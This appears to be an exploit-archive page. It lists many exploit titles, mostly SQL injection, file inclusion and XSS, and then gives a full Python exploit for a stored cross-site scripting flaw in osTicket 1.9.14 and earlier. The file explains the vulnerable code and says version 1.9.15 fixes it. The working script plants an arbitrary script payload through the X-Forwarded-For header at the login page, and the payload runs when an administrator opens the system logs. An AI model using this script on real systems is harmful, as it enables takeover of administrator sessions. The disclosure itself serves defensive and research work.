
4 new exploits Groupwise 7.0 - (mailto: scheme) Buffer Overflow (PoC) Groupwise 7.0 - 'mailto: scheme' Buffer Overflow (PoC) Remote Utilities Host 6.3 - Denial of Service Microsoft Windows Kernel win32k.sys - 'NtSetWindowLongPtr' Privilege Escalation (MS16-135) GNU Wget < 1.18 - Access List Bypass / Race Condition miniBB - 'user' Input Validation Hole MiniBB 1.7f - 'user' Parameter SQL Injection TR Newsportal 0.36tr1 - (poll.php) Remote File Inclusion TR Newsportal 0.36tr1 - 'poll.php' Remote File Inclusion PHP Forge 3 Beta 2 - (cfg_racine) Remote File Inclusion PHP Forge 3 Beta 2 - 'cfg_racine' Parameter Remote File Inclusion miniBB keyword_replacer 1.0 - (pathToFiles) File Inclusion MiniBB keyword_replacer 1.0 - 'pathToFiles' Parameter File Inclusion miniBB 2.0.2 - (bb_func_txt.php) Remote File Inclusion MiniBB 2.0.2 - 'bb_func_txt.php' Remote File Inclusion W1L3D4 philboard 0.2 - (W1L3D4_bolum.asp forumid) SQL Injection W1L3D4 philboard 0.2 - 'W1L3D4_bolum.asp' SQL Injection miniBB 2.1 - (table) SQL Injection MiniBB 2.1 - 'table' Parameter SQL Injection Joovili 3.0.6 - (joovili.images.php) Remote File Disclosure Joovili 3.0.6 - 'joovili.images.php' Remote File Disclosure Apartment Search Script - 'listtest.php r' SQL Injection XOOPS Module Recipe - 'detail.php id' SQL Injection Aterr 0.9.1 - (class) Local File Inclusion (PHP5) W1L3D4 philboard 1.0 - (philboard_reply.asp) SQL Injection Apartment Search Script - 'listtest.php' SQL Injection XOOPS Module Recipe 2.2 - 'detail.php' SQL Injection Aterr 0.9.1 - Local File Inclusion (PHP5) W1L3D4 philboard 1.0 - 'philboard_reply.asp' SQL Injection KubeLance 1.6.4 - (ipn.php i) Local File Inclusion acidcat CMS 3.4.1 - Multiple Vulnerabilities BlogWorx 1.0 - (view.asp id) SQL Injection Crazy Goomba 1.2.1 - 'id' SQL Injection RedDot CMS 7.5 - (LngId) SQL Injection TR News 2.1 - (nb) SQL Injection KubeLance 1.6.4 - 'ipn.php' Local File Inclusion Acidcat CMS 3.4.1 - Multiple Vulnerabilities BlogWorx 1.0 - 'id' Parameter SQL Injection Crazy Goomba 1.2.1 - 'id' Parameter SQL Injection RedDot CMS 7.5 - 'LngId' Parameter SQL Injection TR News 2.1 - 'nb' Parameter SQL Injection E RESERV 2.1 - (index.php ID_loc) SQL Injection Joomla! Component Filiale 1.0.4 - (idFiliale) SQL Injection E RESERV 2.1 - 'index.php' SQL Injection Joomla! Component Filiale 1.0.4 - 'idFiliale' Parameter SQL Injection minibb 2.2 - (Cross-Site Scripting / SQL Injection / Full Path Disclosure) Multiple Vulnerabilities PostNuke Module PostSchedule - (eid) SQL Injection MiniBB 2.2 - Cross-Site Scripting / SQL Injection / Full Path Disclosure PostNuke Module PostSchedule 1.0 - 'eid' Parameter SQL Injection Siteman 2.x - (Code Execution / Local File Inclusion / Cross-Site Scripting) Multiple Vulnerabilities Siteman 2.x - Code Execution / Local File Inclusion / Cross-Site Scripting PHP Forge 3 Beta 2 - 'id' SQL Injection PHP Forge 3 Beta 2 - 'id' Parameter SQL Injection megabbs forum 2.2 - (SQL Injection / Cross-Site Scripting) Multiple Vulnerabilities Jokes Site Script - 'jokes.php?catagorie' SQL Injection FluentCMS - 'view.php sid' SQL Injection megabbs forum 2.2 - SQL Injection / Cross-Site Scripting Jokes Site Script - 'jokes.php' SQL Injection FluentCMS - 'view.php' SQL Injection Prozilla Hosting Index - 'Directory.php cat_id' SQL Injection Softbiz Web Host Directory Script (host_id) - SQL Injection Joovili 3.1 - (browse.videos.php category) SQL Injection Prozilla Hosting Index - 'cat_id' Parameter SQL Injection Softbiz Web Host Directory Script - 'host_id' Parameter SQL Injection Joovili 3.1 - 'browse.videos.php' SQL Injection w1l3d4 philboard 1.2 - (Blind SQL Injection / Cross-Site Scripting) Multiple Vulnerabilities W1L3D4 philboard 1.2 - Blind SQL Injection / Cross-Site Scripting apartment search script - (Arbitrary File Upload / Cross-Site Scripting) Multiple Vulnerabilities Apartment Search Script - Arbitrary File Upload / Cross-Site Scripting Mini Web Calendar 1.2 - (File Disclosure / Cross-Site Scripting) Multiple Vulnerabilities Mini Web Calendar 1.2 - File Disclosure / Cross-Site Scripting Prozilla Hosting Index - 'id' SQL Injection Prozilla Hosting Index - 'id' Parameter SQL Injection web Calendar system 3.12/3.30 - Multiple Vulnerabilities Web Calendar System 3.12/3.30 - Multiple Vulnerabilities Web Calendar 4.1 - (Authentication Bypass) SQL Injection Web Calendar 4.1 - Authentication Bypass web Calendar system 3.40 - (Cross-Site Scripting / SQL Injection) Multiple Vulnerabilities Web Calendar System 3.40 - Cross-Site Scripting / SQL Injection KubeLance - 'profile.php?id' SQL Injection KubeLance 1.7.6 - 'profile.php' SQL Injection Clever Copy 2.0 - calendar.php Cross-Site Scripting Clever Copy 2.0 - 'calendar.php' Cross-Site Scripting Clever Copy 2.0 - results.php Multiple Parameter Cross-Site Scripting Clever Copy 2.0 - categorysearch.php Multiple Parameter Cross-Site Scripting Clever Copy 2.0 - 'results.php' Cross-Site Scripting Clever Copy 2.0 - 'categorysearch.php' Cross-Site Scripting Acidcat CMS 2.1.13 - default.asp ID Parameter SQL Injection Acidcat CMS 2.1.13 - acidcat.mdb Remote Information Disclosure Acidcat CMS 2.1.13 - 'ID' Parameter SQL Injection Acidcat CMS 2.1.13 - 'acidcat.mdb' Remote Information Disclosure ODFaq 2.1 - faq.php SQL Injection ODFaq 2.1 - 'faq.php' SQL Injection MiniBB 1.5 - news.php Remote File Inclusion MiniBB 1.5 - 'news.php' Remote File Inclusion W1L3D4 philboard 0.3 - W1L3D4_Aramasonuc.asp Cross-Site Scripting W1L3D4 philboard 0.3 - Cross-Site Scripting Proverbs Web Calendar 1.1 - Password Parameter SQL Injection Proverbs Web Calendar 1.1 - 'Password' Parameter SQL Injection Chimaera Project Aterr 0.9.1 - Multiple Local File Inclusion miniBB 2.2 - 'bb_admin.php' Cross-Site Scripting miniBB RSS 2.0 Plugin - Multiple Remote File Inclusion MiniBB RSS 2.0 Plugin - Multiple Remote File Inclusion DevWorx BlogWorx 1.0 - 'forum.asp' Cross-Site Scripting eZoneScripts Apartment Search Script - 'listtest.php' SQL Injection miniBB 3.1 - Blind SQL Injection MiniBB 3.1 - Blind SQL Injection Osticket 1.9.14 - 'X-Forwarded-For' Cross-Site Scripting
168 lines
5.4 KiB
Python
Executable file
168 lines
5.4 KiB
Python
Executable file
# Exploit Title: Osticket 1.9.14 and below (X-Forwarded-For) Stored XSS.
|
|
# Date: 24-11-2016
|
|
# Exploit Author: Joaquin Ramirez Martinez [ i0-SEC ]
|
|
# Software Link: http://osticket.com/
|
|
# Vendor: Osticket
|
|
|
|
"""
|
|
==============
|
|
DESCRIPTION
|
|
==============
|
|
|
|
**osTicket** is a widely-used open source support ticket system. It seamlessly
|
|
integrates inquiries created via email, phone and web-based forms into a
|
|
simple easy-to-use multi-user web interface. Manage, organize and archive
|
|
all your support requests and responses in one place while providing your
|
|
customers with accountability and responsiveness they deserve.
|
|
|
|
(copy of Osticket - README.md)
|
|
|
|
=======================
|
|
VULNERABILITY DETAILS
|
|
=======================
|
|
|
|
file `osticket/upload/bootstrap.php` contains this
|
|
snippet of code (line 337-340):
|
|
|
|
...
|
|
|
|
if (isset($_SERVER['HTTP_X_FORWARDED_FOR']))
|
|
// Take the left-most item for X-Forwarded-For
|
|
$_SERVER['REMOTE_ADDR'] = trim(array_pop(
|
|
explode(',', $_SERVER['HTTP_X_FORWARDED_FOR'])));
|
|
|
|
....
|
|
|
|
The $_SERVER['REMOTE_ADDR'] value gets overrided with the `X-Forwarded-For` header value,
|
|
at this point, it is not a vulnerability but...
|
|
file `osticket/upload/include/class.osticket.php` line 309-315 :
|
|
|
|
...
|
|
|
|
//Save log based on system log level settings.
|
|
$sql='INSERT INTO '.SYSLOG_TABLE.' SET created=NOW(), updated=NOW() '
|
|
.',title='.db_input(Format::sanitize($title, true))
|
|
.',log_type='.db_input($loglevel[$level])
|
|
.',log='.db_input(Format::sanitize($message, false))
|
|
.',ip_address='.db_input($_SERVER['REMOTE_ADDR']);
|
|
|
|
db_query($sql, false);
|
|
|
|
....
|
|
|
|
|
|
Everytime when a csrf attack is dettected (checking `X_CSRFTOKEN` header or the post parameter `__CSRFToken__`),
|
|
Osticket saves into database the user controled value $_SERVER['REMOTE_ADDR'] even if it has an invalid format.
|
|
|
|
Finally the XSS is triggered when a user who can see the system logs like an administrator, visits
|
|
the /scp/logs.php URI. It happens because osticket does not encode the output of the data stored into the database.
|
|
|
|
The code responsible for lanching the XSS is located in `osticket/upload/include/staff/syslogs.inc-php`
|
|
line 142...
|
|
|
|
...
|
|
<td><?php echo $row['ip_address']; ?></td>
|
|
...
|
|
|
|
So...
|
|
|
|
An attacker can make an HTTP request with a header `X-Forwarded-For` containing the XSS payload
|
|
with an invalid CSRF token to the login interface waiting for an administrator to view the logs and trigger the XSS.
|
|
|
|
|
|
================
|
|
DEMONSTRATION
|
|
================
|
|
|
|
Demo video: https://www.youtube.com/watch?v=lx_WlL89F70
|
|
|
|
The demo also show a low severity XSS vulnerability in the helpdesk name/title of osticket.
|
|
|
|
|
|
================
|
|
REFERENCES
|
|
================
|
|
|
|
https://github.com/osTicket/osTicket/releases
|
|
https://github.com/osTicket/osTicket/releases/tag/v1.9.15
|
|
|
|
X-Forwarded-For XSS:
|
|
|
|
https://github.com/osTicket/osTicket/pull/3439
|
|
https://github.com/osTicket/osTicket/commit/4396f91cdc990b7da598a7562eb634b89314b631
|
|
|
|
heldeskt name/tile XSS:
|
|
|
|
https://github.com/osTicket/osTicket/pull/3439
|
|
https://github.com/osTicket/osTicket/commit/2fb47bd84d1905b49beab05fcf3f01b00a171c37
|
|
|
|
================
|
|
MITIGATIONS
|
|
================
|
|
|
|
update to version 1.9.15 or later
|
|
|
|
================
|
|
CREDITS
|
|
================
|
|
|
|
Vulnerability discovered by Joaquin Ramirez Martinez
|
|
|
|
https://www.youtube.com/channel/UCe1Ex2Y0wD71I_cet-Wsu7Q/videos
|
|
https://twitter.com/rammarj
|
|
|
|
================
|
|
TIMELINE
|
|
================
|
|
|
|
13-07-2016 - Vulnerability found
|
|
19-09-2016 - Osticket knew the flaws
|
|
01-11-2016 - Osticket patches vulnerabilities (v1.9.15 released)
|
|
24-11-2016 - Public disclosure.
|
|
|
|
|
|
"""
|
|
import urllib
|
|
import urllib2
|
|
from optparse import OptionParser
|
|
|
|
options = OptionParser(usage='python %prog [options]', description='Stored XSS')
|
|
options.add_option('-t', '--target', type='string', default='http://localhost', help='(required) example: http://localhost')
|
|
options.add_option('-p', '--path', type='string', default='/', help='osticket path. Default: /')
|
|
options.add_option('-x', '--payload', type='string', default='<svg/onload=alert(/Osticket_XSSed_by_i0-sec/)>'
|
|
, help='xss payload. Default: "<svg/onload=alert(/Osticket_XSSed_by_i0-sec/)>"')
|
|
|
|
banner = """
|
|
|
|
======================================================
|
|
OSTICKET
|
|
"The most popular ticketing system in the world"
|
|
Stored XSS
|
|
|
|
by i0-sec (Joaquin R. M.)
|
|
======================================================
|
|
|
|
"""
|
|
|
|
def main():
|
|
opts,args = options.parse_args()
|
|
print(banner)
|
|
server = opts.target
|
|
path = opts.path
|
|
body = urllib.urlencode({"__CSRFToken__":"invalid", "do":"scplogin", "userid":"invalid", "passwd":"invalid", "submit":""})
|
|
headers = {"User-Agent": "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.125 Safari/537.36",
|
|
"Content-type": "application/x-www-form-urlencoded", "X-Forwarded-For": opts.payload}
|
|
url = server+path+"/scp/login.php" #default login interface URI for OSTICKET
|
|
print('[+] Connecting to '+server+path)
|
|
req = urllib2.Request(url, body, headers)
|
|
try:
|
|
print('[+] Sending payload... ')
|
|
response = urllib2.urlopen(req)
|
|
html = response.read()
|
|
except Exception, e:
|
|
pass
|
|
print '[+] Payload sent.'
|
|
print '[+] Completed.\n'
|
|
|
|
if __name__ == '__main__':
|
|
main()
|